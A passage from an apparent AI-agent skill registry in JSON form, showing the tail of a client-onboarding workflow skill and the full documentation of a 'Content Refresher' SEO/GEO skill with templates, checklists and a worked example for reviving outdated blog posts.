off, don't hesitate to reach out.\n\nLooking forward to working together!\n\n[User's name/signature from memory]\n```\n\nDelivery:\n- If email skill is configured: send directly (with user confirmation)\n- If not: output the email for the user to copy and send manually\n\n### Step 4: Schedule Kickoff Meeting\n\nCreate a calendar event for the kickoff meeting:\n\n- **When**: suggest a time 2-3 business days from now (or use user-specified date)\n- **Duration**: 30 minutes (default, customizable)\n- **Attendees**: client contact + user\n- **Title**: \"[Client Name] \u2014 Project Kickoff\"\n- **Description**: include project brief summary and agenda:\n ```\n Agenda:\n 1. Introductions & project overview (5 min)\n 2. Requirements review (10 min)\n 3. Timeline & milestones (10 min)\n 4. Next steps & action items (5 min)\n ```\n\nUse Google Calendar via `gog` tool, or Outlook if configured.\n\n### Step 5: Create Task Board\n\nSet up project tasks in the user's preferred task manager:\n\n**For Todoist / ClickUp / Linear / Asana:**\nCreate a project with these default tasks:\n- [ ] Send contract/agreement\n- [ ] Kickoff meeting\n- [ ] Discovery & requirements gathering\n- [ ] First deliverable review\n- [ ] Midpoint check-in\n- [ ] Final delivery\n- [ ] Client feedback\n- [ ] Project closure\n\n**For GitHub Issues:** (if the project is technical)\nCreate a milestone + issues for each phase\n\n**For Notion:** (if used as task manager)\nCreate a task database within the project page\n\nEach task gets a due date estimated from the project timeline.\n\n### Step 6: Set Up Reminders\n\nConfigure follow-up reminders:\n- **Day before kickoff**: reminder to prepare\n- **Weekly check-in**: recurring reminder to update the client on progress\n- **Milestone dates**: reminders for each deliverable deadline\n- **1 week before deadline**: \"final sprint\" reminder\n\nUse OpenClaw cron or the task manager's reminder system.\n\n### Step 7: Update Client Registry\n\nMaintain a master list of all clients and projects:\n\n```markdown\n# Client Registry\n\n| Client | Project | Status | Contact | Start | Deadline | Value |\n|--------|---------|--------|---------|-------|----------|-------|\n| Acme Corp | Website Redesign | \ud83d\udfe2 Active | sarah@acme.com | Feb 15 | Mar 30 | $15k |\n| Beta LLC | Brand Identity | \ud83d\udfe1 In Review | john@beta.io | Jan 20 | Feb 28 | $8k |\n| Gamma Inc | Mobile App | \u2705 Completed | lisa@gamma.co | Nov 1 | Jan 15 | $25k |\n```\n\nStore in workspace memory or as a Markdown file in a \"Business\" folder.\n\n## Post-Onboarding: Project Lifecycle\n\n### Status Check\n**User**: \"How are my projects doing?\" or \"Client status\"\n\u2192 Pull from client registry + task managers and generate:\n\n```\n\ud83e\udd1d Active Projects\n\n1. Acme Corp \u2014 Website Redesign\n Status: On track \u2705\n Next milestone: First mockup review (Feb 22)\n Outstanding tasks: 3 of 8 completed\n Budget used: ~40%\n \n2. Beta LLC \u2014 Brand Identity\n Status: Needs attention \u26a0\ufe0f\n Next milestone: Final delivery (Feb 28) \u2014 5 days away\n Outstanding tasks: 2 remaining\n Blocker: Waiting for client feedback since Feb 10\n```\n\n### Client Communication\n**User**: \"Draft an update email for Acme Corp\"\n\u2192 Generate a progress update email using project data:\n- What's been completed since last update\n- Current status and next steps\n- Any blockers or needs from the client\n- Timeline update\n\n### Project Closure\n**User**: \"Close the Beta LLC project\"\n\u2192 Execute closure workflow:\n1. Mark project as completed in registry\n2. Send thank-you email to client\n3. Archive project folder\n4. Create a project retrospective note\n5. Set a 30-day follow-up reminder for testimonial request\n6. Set a 90-day follow-up for potential repeat business\n\n## Templates\n\nStore customizable templates in workspace memory. Defaults are provided but users can override:\n\n- **Welcome email template**: adjust tone, signature, included links\n- **Folder structure**: add/remove folders based on project type\n- **Task list**: customize default tasks per project type\n- **Project types**: different presets for \"website\", \"branding\", \"consulting\", \"development\", etc.\n\n**User**: \"When I onboard a development client, also add GitHub repo setup and Slack channel creation\"\n\u2192 Store as a \"development\" project type template\n\n## Configuration\n\nOn first use:\n\n1. **Business info**: company name, user's name, email signature, timezone\n2. **Default tools**: which task manager, file storage, calendar, email to use\n3. **Project types**: what kinds of projects do they typically do?\n4. **Templates**: review and customize default templates\n5. **Client folder location**: where to store project folders\n\nStore everything in workspace memory. After first setup, onboarding is one command.\n\n## Edge Cases\n\n- **Minimal info**: if the user only says \"new client: Acme\", ask for contact email (required) and project name. Everything else can be defaults.\n- **Repeat client**: if a client name matches an existing entry, ask if this is a new project for the same client. If yes, add to existing client folder rather than creating a new one.\n- **No task manager**: if no external task manager is configured, create tasks as a checklist in the project brief\n- **No email configured**: output the welcome email for manual sending. Don't skip the step.\n- **International clients**: respect timezone differences in meeting scheduling. If client is in a different timezone, note it.\n- **Team projects**: if multiple team members are involved, allow assigning tasks to different people\n- **Budget tracking**: this skill doesn't do invoicing (that's a separate concern), but tracks estimated vs. actual budget at a high level\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/ariktulcha/client-flow/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/ariktulcha/client-flow/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/ariktulcha/client-flow/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/ariktulcha/client-flow/SKILL.md", "commit": "dff1d5eb06"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/ariktulcha/client-flow/SKILL.md", "importedAt": "2026-02-18T19:26:30.782Z"}}}}, {"slug": "clawhub-content-refresher", "name": "Content Refresher", "category": "NFT", "description": "SEO & GEO Skills Library \u00b7 20 skills for SEO + GEO \u00b7 Install all: npx skills add aaron-he-zhu/seo-geo-claude-skills", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Content Refresher", "slug": "clawhub-content-refresher", "version": "1.0.0", "description": "--- name: content-refresher description: 'Use when the user asks to \"update old content\", \"refresh content\", \"content is outdated\", \"improve declining rankings\", \"revive old blog posts\", \"this post is outdated\", \"traffic is declining on this page\", or \"rankings dropped for this article\". Identifies and updates outdated content to restore and improve search rankings. Analyzes content freshness, adds new information, updates statistics, and optimizes for current SEO and GEO best practices. For writing new content from scratch, see seo-content-writer. For auditing without rewriting, see on-page-seo-auditor.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"medium\" tags: - seo - geo - content refresh - content update - outdated content - content decay - ranking recovery - content optimization triggers: - \"update old content\" - \"refresh content\" - \"content is outdated\" - \"improve declining rankings\" - \"revive old blog posts\" - \"content decay\" - \"ranking dropped\" - \"this post is outdated\" - \"traffic is declining on this page\" - \"rankings dropped for this article\" ---", "documentation_md": "---\nname: content-refresher\ndescription: 'Use when the user asks to \"update old content\", \"refresh content\", \"content is outdated\", \"improve declining rankings\", \"revive old blog posts\", \"this post is outdated\", \"traffic is declining on this page\", or \"rankings dropped for this article\". Identifies and updates outdated content to restore and improve search rankings. Analyzes content freshness, adds new information, updates statistics, and optimizes for current SEO and GEO best practices. For writing new content from scratch, see seo-content-writer. For auditing without rewriting, see on-page-seo-auditor.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"medium\"\n tags:\n - seo\n - geo\n - content refresh\n - content update\n - outdated content\n - content decay\n - ranking recovery\n - content optimization\n triggers:\n - \"update old content\"\n - \"refresh content\"\n - \"content is outdated\"\n - \"improve declining rankings\"\n - \"revive old blog posts\"\n - \"content decay\"\n - \"ranking dropped\"\n - \"this post is outdated\"\n - \"traffic is declining on this page\"\n - \"rankings dropped for this article\"\n---\n\n# Content Refresher\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../../research/keyword-research/) \u00b7 [competitor-analysis](../../research/competitor-analysis/) \u00b7 [serp-analysis](../../research/serp-analysis/) \u00b7 [content-gap-analysis](../../research/content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../on-page-seo-auditor/) \u00b7 [technical-seo-checker](../technical-seo-checker/) \u00b7 [internal-linking-optimizer](../internal-linking-optimizer/) \u00b7 **content-refresher**\n\n**Monitor** \u00b7 [rank-tracker](../../monitor/rank-tracker/) \u00b7 [backlink-analyzer](../../monitor/backlink-analyzer/) \u00b7 [performance-reporter](../../monitor/performance-reporter/) \u00b7 [alert-manager](../../monitor/alert-manager/)\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u00b7 [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u00b7 [entity-optimizer](../../cross-cutting/entity-optimizer/) \u00b7 [memory-management](../../cross-cutting/memory-management/)\n\n</details>\n\nThis skill helps identify and revitalize outdated content to reclaim lost rankings and traffic. It analyzes content freshness, identifies update opportunities, and guides the refresh process for maximum SEO and GEO impact.\n\n## When to Use This Skill\n\n- Content has lost rankings or traffic over time\n- Statistics and information are outdated\n- Competitors have published better content\n- Content needs updating for a new year\n- Industry changes require content updates\n- Adding new sections to existing content\n- Converting old content for GEO optimization\n\n## What This Skill Does\n\n1. **Freshness Analysis**: Identifies outdated content needing updates\n2. **Performance Tracking**: Finds content with declining traffic\n3. **Gap Identification**: Spots missing information competitors have\n4. **Update Prioritization**: Ranks content by refresh potential\n5. **Refresh Recommendations**: Provides specific update guidance\n6. **GEO Enhancement**: Updates content for AI citation potential\n7. **Republishing Strategy**: Advises on date and promotion tactics\n\n## How to Use\n\n### Identify Content to Refresh\n\n```\nFind content on [domain] that needs refreshing\n```\n\n```\nWhich of my blog posts have lost the most traffic?\n```\n\n### Refresh Specific Content\n\n```\nRefresh this article for [current year]: [URL/content]\n```\n\n```\nUpdate this content to outrank [competitor URL]: [your URL]\n```\n\n### Content Refresh Strategy\n\n```\nCreate a content refresh strategy for [domain/topic]\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~analytics + ~~search console + ~~SEO tool connected:**\nClaude can automatically pull historical traffic trends from ~~analytics, fetch impression and ranking data from ~~search console, retrieve keyword position history from ~~SEO tool, and identify content with declining performance. This enables data-driven refresh prioritization.\n\n**With manual data only:**\nAsk the user to provide:\n1. Traffic data or screenshots showing performance trends\n2. Ranking screenshots or history for key pages\n3. Content publish dates and last update dates\n4. List of pages the user suspects need refreshing\n\nProceed with the analysis using provided data. Note in the output which findings are from automated data vs. manual review.\n\n## Instructions\n\nWhen a user requests content refresh help:\n\n1. **CORE-EEAT Quick Score \u2014 Identify Weak Dimensions**\n\n Before refreshing, run a quick CORE-EEAT assessment to focus effort on the weakest areas. Reference: [CORE-EEAT Benchmark](../../references/core-eeat-benchmark.md)\n\n ```markdown\n ### CORE-EEAT Quick Assessment\n\n **Content**: [title or URL]\n **Content Type**: [type]\n\n Rapidly score each dimension (estimate 0-100):\n\n | Dimension | Quick Score | Key Weakness | Refresh Priority |\n |-----------|-----------|--------------|-----------------|\n | C \u2014 Contextual Clarity | [X]/100 | [main issue] | \ud83d\udd34/\ud83d\udfe1/\ud83d\udfe2 |\n | O \u2014 Organization | [X]/100 | [main issue] | \ud83d\udd34/\ud83d\udfe1/\ud83d\udfe2 |\n | R \u2014 Referenceability | [X]/100 | [main issue] | \ud83d\udd34/\ud83d\udfe1/\ud83d\udfe2 |\n | E \u2014 Exclusivity | [X]/100 | [main issue] | \ud83d\udd34/\ud83d\udfe1/\ud83d\udfe2 |\n | Exp \u2014 Experience | [X]/100 | [main issue] | \ud83d\udd34/\ud83d\udfe1/\ud83d\udfe2 |\n | Ept \u2014 Expertise | [X]/100 | [main issue] | \ud83d\udd34/\ud83d\udfe1/\ud83d\udfe2 |\n | A \u2014 Authority | [X]/100 | [main issue] | \ud83d\udd34/\ud83d\udfe1/\ud83d\udfe2 |\n | T \u2014 Trust | [X]/100 | [main issue] | \ud83d\udd34/\ud83d\udfe1/\ud83d\udfe2 |\n\n **Weakest Dimensions** (focus refresh here):\n 1. [Dimension] \u2014 [what needs fixing]\n 2. [Dimension] \u2014 [what needs fixing]\n\n **Refresh Strategy**: Focus on \ud83d\udd34 dimensions first, then \ud83d\udfe1.\n\n _For full 80-item audit, use [content-quality-auditor](../../cross-cutting/content-quality-auditor/)_\n ```\n\n2. **Identify Content Refresh Candidates**\n\n ```markdown\n ## Content Refresh Analysis\n \n ### Refresh Candidate Identification\n \n **Criteria for Content Refresh**:\n - Published more than 6 months ago\n - Contains dated information (years, statistics)\n - Declining traffic trend\n - Lost keyword rankings\n - Outdated references or broken links\n - Missing topics competitors now cover\n - No GEO optimization\n \n ### Content Audit Results\n \n | Content | Published | Last Updated | Traffic Trend | Priority |\n |---------|-----------|--------------|---------------|----------|\n | [Title 1] | [date] | [date] | \u2193 -45% | \ud83d\udd34 High |\n | [Title 2] | [date] | Never | \u2193 -30% | \ud83d\udd34 High |\n | [Title 3] | [date] | [date] | \u2193 -20% | \ud83d\udfe1 Medium |\n | [Title 4] | [date] | [date] | \u2192 0% | \ud83d\udfe1 Medium |\n \n ### Refresh Prioritization Matrix\n \n ```\n High Traffic + High Decline = \ud83d\udd34 Refresh Immediately\n High Traffic + Low Decline = \ud83d\udfe1 Schedule Refresh\n Low Traffic + High Decline = \ud83d\udfe1 Evaluate & Decide\n Low Traffic + Low Decline = \ud83d\udfe2 Low Priority\n ```\n ```\n\n3. **Analyze Individual Content for Refresh**\n\n ```markdown\n ## Content Refresh Analysis: [Title]\n \n **URL**: [URL]\n **Published**: [date]\n **Last Updated**: [date]\n **Word Count**: [X]\n \n ### Performance Metrics\n \n | Metric | 6 Mo Ago | Current | Change |\n |--------|----------|---------|--------|\n | Organic Traffic | [X]/mo | [X]/mo | [+/-X]% |\n | Avg Position | [X] | [X] | [+/-X] |\n | Impressions | [X] | [X] | [+/-X]% |\n | CTR | [X]% | [X]% | [+/-X]% |\n \n ### Keywords Analysis\n \n | Keyword | Old Position | Current Position | Change |\n |---------|--------------|------------------|--------|\n | [kw 1] | [X] | [X] | \u2193 [X] |\n | [kw 2] | [X] | [X] | \u2193 [X] |\n | [kw 3] | [X] | [X] | \u2193 [X] |\n \n ### Why This Content Needs Refresh\n \n 1. **Outdated information**: [specific examples]\n 2. **Competitive gap**: [what competitors added]\n 3. **Missing topics**: [new subtopics to cover]\n 4. **SEO issues**: [current optimization problems]\n 5. **GEO potential**: [AI citation opportunities]\n ```\n\n4. **Identify Specific Updates Needed**\n\n ```markdown\n ## Refresh Requirements\n \n ### Outdated Elements\n \n | Element | Current | Update Needed |\n |---------|---------|---------------|\n | Year references | \"[old year]\" | Update to [current year] |\n | Statistics | \"[old stat]\" | Find current data |\n | Tool mentions | \"[old tool]\" | Add newer tools |\n | Links | [X] broken | Fix or replace |\n | Screenshots | Outdated UI | Recapture |\n \n ### Missing Information\n \n **Topics competitors now cover that you don't**:\n \n | Topic | Competitor Coverage | Words Needed | Priority |\n |-------|---------------------|--------------|----------|\n | [Topic 1] | 3/5 competitors | ~300 words | High |\n | [Topic 2] | 2/5 competitors | ~200 words | Medium |\n | [Topic 3] | 4/5 competitors | ~400 words | High |\n \n ### SEO Updates Needed\n \n - [ ] Update title tag with current year\n - [ ] Refresh meta description\n - [ ] Add new H2 sections for [topics]\n - [ ] Update internal links to newer content\n - [ ] Add FAQ section for featured snippets\n - [ ] Refresh images and add new alt text\n \n ### GEO Updates Needed\n \n - [ ] Add clear definition at start\n - [ ] Include quotable statistics with sources\n - [ ] Add Q&A formatted sections\n - [ ] Update sources with current citations\n - [ ] Create standalone factual statements\n ```\n\n5. **Create Refresh Plan**\n\n ```markdown\n ## Content Refresh Plan\n \n ### Title/URL\n **Current**: [current title]\n **Refreshed**: [updated title with year/hook]\n \n ### Structural Changes\n \n **Keep As-Is**:\n - [Section 1] - Still relevant and accurate\n - [Section 2] - Still relevant and accurate\n \n **Update/Expand**:\n - [Section 3] - Update statistics, add [X] words\n - [Section 4] - Add new examples from [current year]\n \n **Add New Sections**:\n - [New Section 1] - [description, ~X words]\n - [New Section 2] - [description, ~X words]\n - FAQ Section - [X questions for featured snippets]\n \n **Remove/Consolidate**:\n - [Section 5] - Outdated, remove or redirect topic\n \n ### Content Additions\n \n **New Word Count Target**: [X] words (+[Y] from current)\n \n | Section | Current | After Refresh | Notes |\n |---------|---------|---------------|-------|\n | Introduction | [X] | [X] | Add hook, update context |\n | [Section 1] | [X] | [X] | Keep |\n | [Section 2] | [X] | [X] | Update stats |\n | [New Section] | 0 | [X] | Add entirely |\n | FAQ | 0 | [X] | Add for GEO |\n | Conclusion | [X] | [X] | Update CTA |\n \n ### Specific Updates\n \n **Statistics to Update**:\n \n | Old Statistic | New Statistic | Source |\n |---------------|---------------|--------|\n | \"[old stat]\" | \"[find current]\" | [source] |\n | \"[old stat]\" | \"[find current]\" | [source] |\n \n **Links to Update**:\n \n | Anchor Text | Old URL | New URL | Reason |\n |-------------|---------|---------|--------|\n | \"[anchor]\" | [old] | [new] | Broken |\n | \"[anchor]\" | [old] | [new] | Better resource |\n \n **Images to Update**:\n \n | Image | Action | New Alt Text |\n |-------|--------|--------------|\n | [img 1] | Replace | \"[keyword-rich alt]\" |\n | [img 2] | Keep | Update alt text |\n ```\n\n6. **Write Refresh Content**\n\n ```markdown\n ## Refreshed Content Sections\n \n ### Updated Introduction\n \n [Write new introduction with:]\n - Updated hook for current year\n - Fresh statistics\n - Clear value proposition\n - Primary keyword in first 100 words\n \n ### New Section: [Title]\n \n [Write new section covering:]\n - [Topic competitors now cover]\n - Current information and examples\n - GEO-optimized with quotable statements\n \n ### Updated Statistics Section\n \n **Replace**:\n > \"[Old statement with outdated stat]\"\n \n **With**:\n > \"[New statement with current stat] (Source, [current year])\"\n \n ### New FAQ Section\n \n ## Frequently Asked Questions\n \n ### [Question matching PAA/common query]?\n \n [Direct answer in 40-60 words, optimized for featured snippets]\n \n ### [Question 2]?\n \n [Direct answer]\n \n ### [Question 3]?\n \n [Direct answer]\n ```\n\n7. **Optimize for GEO During Refresh**\n\n ```markdown\n ## GEO Enhancement Opportunities\n \n ### Add Clear Definitions\n \n **Add at start of article**:\n > **[Topic]** is [clear, quotable definition in 40-60 words that \n > AI systems can cite directly].\n \n ### Add Quotable Statements\n \n **Transform**:\n > \"Email marketing is effective for businesses.\"\n \n **Into**:\n > \"Email marketing delivers an average ROI of $42 for every $1 \n > invested, making it the highest-ROI digital marketing channel \n > according to the Data & Marketing Association ([current year]).\"\n \n ### Add Q&A Sections\n \n Structure content with questions AI might answer:\n - What is [topic]?\n - How does [topic] work?\n - Why is [topic] important?\n - What are the benefits of [topic]?\n \n ### Update Citations\n \n - Add sources for all statistics\n - Link to authoritative references\n - Include publication dates\n - Use recent sources (last 2 years)\n ```\n\n8. **Generate Republishing Strategy**\n\n ```markdown\n ## Republishing Strategy\n \n ### Date Strategy\n \n **Options**:\n \n 1. **Update Published Date** \n - Use when: Major overhaul (50%+ new content)\n - Pros: Signals freshness to Google\n - Cons: Loses \"original\" authority\n \n 2. **Add \"Last Updated\" Date**\n - Use when: Moderate updates (20-50% new)\n - Pros: Shows both original and fresh\n - Cons: Original date visible\n \n 3. **Keep Original Date**\n - Use when: Minor updates (<20% new)\n - Pros: Maintains authority\n - Cons: Doesn't signal update\n \n **Recommendation**: [Option X] because [reason]\n \n ### Technical Implementation\n \n - [ ] Update `dateModified` in schema\n - [ ] Update sitemap lastmod\n - [ ] Clear cache after publishing\n - [ ] Resubmit to ~~search console\n \n ### Promotion Strategy\n \n **Immediately after refresh**:\n - [ ] Share on social media as \"updated for [current year]\"\n - [ ] Send to email list if significant update\n - [ ] Update internal links with fresh anchors\n - [ ] Reach out for new backlinks\n \n **Track Results**:\n - [ ] Monitor rankings for 4-6 weeks\n - [ ] Track traffic changes\n - [ ] Watch for featured snippet capture\n - [ ] Check AI citation improvements\n ```\n\n9. **Create Refresh Report**\n\n ```markdown\n # Content Refresh Report\n \n ## Summary\n \n **Content**: [Title]\n **Refresh Date**: [Date]\n **Refresh Level**: [Major/Moderate/Minor]\n \n ## Changes Made\n \n | Element | Before | After |\n |---------|--------|-------|\n | Word count | [X] | [Y] (+[Z]%) |\n | Sections | [X] | [Y] |\n | Statistics | [X] outdated | [Y] current |\n | Internal links | [X] | [Y] |\n | Images | [X] | [Y] |\n | FAQ questions | 0 | [X] |\n \n ## Updates Completed\n \n - [x] Updated title with current year\n - [x] Refreshed meta description\n - [x] Added [X] new sections\n - [x] Updated [X] statistics with sources\n - [x] Fixed [X] broken links\n - [x] Added FAQ section for GEO\n - [x] Implemented FAQ schema\n - [x] Updated images and alt text\n \n ## Expected Outcomes\n \n | Metric | Current | 30-Day Target | 90-Day Target |\n |--------|---------|---------------|---------------|\n | Avg Position | [X] | [Y] | [Z] |\n | Organic Traffic | [X]/mo | [Y]/mo | [Z]/mo |\n | Featured Snippets | 0 | 1+ | 2+ |\n \n ## Next Review\n\n Schedule next refresh review: [Date - 6 months from now]\n ```\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Target content URL or title clearly identified\n- [ ] Historical performance data available (traffic trends, rankings)\n- [ ] Content publish/update dates known\n- [ ] If comparing to competitors, competitor URLs provided\n\n### Output Validation\n- [ ] Every recommendation cites specific data points (not generic advice)\n- [ ] Outdated elements identified with specific examples and replacement data\n- [ ] All suggested additions include word counts and section locations\n- [ ] Source of each data point clearly stated (~~analytics data, ~~search console, ~~SEO tool, user-provided, or estimated)\n\n## Example\n\n**User**: \"Refresh my blog post about 'best cloud hosting providers'\"\n\n**Output**:\n\n```markdown\n### CORE-EEAT Quick Assessment\n\n**Content**: \"Best Cloud Hosting Providers 2023\"\n**Content Type**: Commercial comparison / listicle\n\n| Dimension | Quick Score | Key Weakness | Refresh Priority |\n|-----------|-----------|--------------|-----------------|\n| C \u2014 Contextual Clarity | 60/100 | Title says 2023 \u2014 stale intent signal | \ud83d\udd34 |\n| O \u2014 Organization | 75/100 | Good comparison tables but no summary box | \ud83d\udfe1 |\n| R \u2014 Referenceability | 35/100 | Pricing from Q1 2023, 3 broken links | \ud83d\udd34 |\n| E \u2014 Exclusivity | 50/100 | No original benchmarks or test data | \ud83d\udfe1 |\n| Exp \u2014 Experience | 30/100 | No first-person testing narrative | \ud83d\udd34 |\n| Ept \u2014 Expertise | 65/100 | Author bio present but lacks credentials | \ud83d\udfe1 |\n| A \u2014 Authority | 55/100 | 12 backlinks, was ranking page 1 | \ud83d\udfe2 |\n| T \u2014 Trust | 60/100 | Affiliate links present but not disclosed | \ud83d\udd34 |\n\n**Weakest Dimensions** (focus refresh here):\n1. **Experience** \u2014 Add hands-on testing results (\"We migrated a test site to each provider\")\n2. **Referenceability** \u2014 Replace all 2023 pricing/uptime data with current figures\n\n## Content Refresh Analysis: Best Cloud Hosting Providers 2023\n\n**URL**: cloudhosting.com/best-cloud-hosting\n**Published**: 2023-02-14\n**Last Updated**: Never\n**Word Count**: 2,100\n\n### Performance Metrics\n\n| Metric | 6 Mo Ago | Current | Change |\n|--------|----------|---------|--------|\n| Organic Traffic | 3,200/mo | 1,400/mo | -56% |\n| Avg Position | 4.2 | 14.8 | \u2193 10.6 |\n| Impressions | 18,000 | 9,500 | -47% |\n| CTR | 6.1% | 2.3% | -3.8% |\n\n### Content Decay Signals Identified\n\n1. **Outdated year in title and H1** \u2014 \"2023\" signals stale content to users and search engines\n2. **Pricing data 18+ months old** \u2014 AWS Lightsail listed at $3.50/mo (now $5/mo), DigitalOcean at $4/mo (now $6/mo)\n3. **Missing new entrants** \u2014 No mention of Hetzner Cloud or Vultr, which 4/5 top competitors now cover\n4. **3 broken outbound links** \u2014 Provider comparison pages that have moved or been retired\n\n### Refresh vs. Rewrite Decision\n\n| Factor | Assessment |\n|--------|-----------|\n| Content quality | Good structure, solid comparison tables \u2014 foundation is sound |\n| URL equity | 12 referring domains, 18 months old |\n| Scope of changes | ~40% of content needs updating |\n| Search intent | Unchanged \u2014 still commercial comparison |\n\n**Decision**: **REFRESH** \u2014 The URL has earned backlinks, the structure is solid, and less than 50% needs rewriting. Keep the URL, update in place.\n\n## Content Refresh Plan\n\n**Current Title**: \"Best Cloud Hosting Providers 2023\"\n**Refreshed Title**: \"Best Cloud Hosting Providers 2024: 7 Platforms Tested & Compared\"\n\n### Specific Refresh Actions\n\n1. **Update all pricing and specs** (~30 min)\n - Replace 2023 pricing for all 5 listed providers with current data\n - Add uptime stats from the last 12 months (source: UptimeRobot public status pages)\n - Update feature comparison table with current plan tiers\n\n2. **Add 2 missing providers + testing narrative** (~600 words)\n - Add Hetzner Cloud and Vultr sections with same comparison format\n - Write intro paragraph: \"We deployed a WordPress benchmark site to each provider and measured TTFB, uptime, and support response times over 30 days\"\n\n3. **Add affiliate disclosure and FAQ section** (~200 words)\n - Add disclosure statement below introduction: \"This post contains affiliate links. See our editorial policy.\"\n - Add FAQ with 4 questions targeting People Also Ask (e.g., \"What is the cheapest cloud hosting?\", \"Is cloud hosting faster than shared hosting?\")\n - Implement FAQ schema markup for rich result eligibility\n\n4. **Fix broken links and update internal links** (~15 min)\n - Replace 3 broken outbound links with current provider URLs\n - Add internal links to cloudhosting.com/vps-vs-cloud and cloudhosting.com/hosting-speed-test\n\n### Republishing Strategy\n\n**Recommendation**: Update Published Date \u2014 this is a major overhaul (40%+ new content, new providers, fresh test data). Update `dateModified` in Article schema, resubmit URL in Search Console, and share on social as \"Updated for 2024.\"\n\n### Expected Outcomes\n\n| Metric | Current | 30-Day Target | 90-Day Target |\n|--------|---------|---------------|---------------|\n| Avg Position | 14.8 | 8-10 | 3-6 |\n| Organic Traffic | 1,400/mo | 2,200/mo | 3,500/mo |\n| Featured Snippets | 0 | 1 (FAQ) | 2+ |\n```\n\n## Content Refresh Checklist\n\n```markdown\n### Pre-Refresh\n- [ ] Analyze current performance metrics\n- [ ] Identify outdated information\n- [ ] Research competitor updates\n- [ ] Note missing topics\n\n### Content Updates\n- [ ] Update year references\n- [ ] Refresh statistics with sources\n- [ ] Add new examples and case studies\n- [ ] Expand thin sections\n- [ ] Add new relevant sections\n- [ ] Create FAQ section\n\n### SEO Updates\n- [ ] Update title tag\n- [ ] Refresh meta description\n- [ ] Optimize headers\n- [ ] Update internal links\n- [ ] Add new images with alt text\n\n### GEO Updates\n- [ ] Add clear definition\n- [ ] Include quotable statements\n- [ ] Add Q&A formatted content\n- [ ] Update source citations\n\n### Technical\n- [ ] Update schema dateModified\n- [ ] Clear page cache\n- [ ] Update sitemap\n- [ ] Test page speed\n```\n\n## Tips for Success\n\n1. **Prioritize by ROI** - Refresh high-potential content first\n2. **Don't just add dates** - Make substantial improvements\n3. **Beat competitors** - Add what they have and more\n4. **Track results** - Monitor ranking changes post-refresh\n5. **Schedule regular audits** - Check content health quarterly\n6. **Optimize for GEO** - Every refresh is a GEO opportunity\n\n## Content Decay Signal Taxonomy\n\n### Decay Indicators\n\n| Signal | Source | Severity | Detection Method |\n|--------|--------|----------|-----------------|\n| Traffic decline >20% MoM | Analytics | High | Monthly traffic comparison |\n| Position drop >5 positions | Rank tracker | High | Weekly rank monitoring |\n| Outdated statistics/dates | Manual review | Medium | Annual content audit |\n| Broken external links | Crawler | Medium | Monthly crawl reports |\n| Decreased CTR | Search Console | Medium | Quarterly CTR analysis |\n| Competitor new content | SERP monitoring | Medium | Monthly SERP checks |\n| User engagement drop | Analytics | Low | Quarterly engagement review |\n| Index coverage issues | Search Console | High | Weekly coverage monitoring |\n\n### Content Decay Stages\n\n| Stage | Symptoms | Urgency | Recommended Action |\n|-------|---------|---------|-------------------|\n| **Early decay** | Slight traffic/position dip | Low | Monitor for 2-4 weeks |\n| **Active decay** | Consistent decline across 2+ months | Medium | Schedule refresh within 2 weeks |\n| **Significant decay** | 50%+ traffic loss, page 2+ | High | Immediate refresh or rewrite |\n| **Terminal decay** | No organic traffic, deindexed | Critical | Rewrite, redirect, or retire |\n\n## Refresh vs. Rewrite Decision Framework\n\n| Factor | Refresh (Update) | Rewrite (New version) |\n|--------|-----------------|---------------------|\n| Content quality | Good foundation, needs updating | Fundamentally flawed or outdated approach |\n| Position | Was ranking well, now dropping | Never ranked well despite optimization |\n| URL age | 1+ years, has earned backlinks | Young URL with no backlink equity |\n| Backlinks | Has external links pointing to it | No backlinks worth preserving |\n| Scope of changes needed | <50% of content changing | >50% needs rewriting |\n| Search intent | Intent hasn't changed | Search intent has evolved |\n\n**Decision rule:** If the URL has backlinks and was ranking, REFRESH. If not, consider REWRITE at a new URL (with 301 redirect if old URL has any equity).\n\n## Content Lifecycle Model\n\n```\nCREATE \u2192 PROMOTE \u2192 MAINTAIN \u2192 REFRESH \u2192 [REFRESH again] or RETIRE\n \u2502 \u2502 \u2502 \u2502 \u2502\n \u2502 Month 1 Month 2-6 Month 6-12 When terminal\n \u2502 Social, Monitor Update facts, 301 redirect\n \u2502 outreach, rankings, add new sections, to related\n \u2502 email fix issues improve depth content\n```\n\n### Lifecycle Actions by Phase\n\n| Phase | Duration | Key Actions | Metrics to Track |\n|-------|----------|------------|-----------------|\n| Create | Week 1 | Publish, submit to Search Console | Indexation |\n| Promote | Month 1 | Social shares, email, outreach | Referral traffic, backlinks |\n| Maintain | Months 2-6 | Monitor, fix broken links, respond to comments | Rankings, traffic trend |\n| Refresh | Months 6-12+ | Update data, add sections, improve structure | Traffic recovery, new 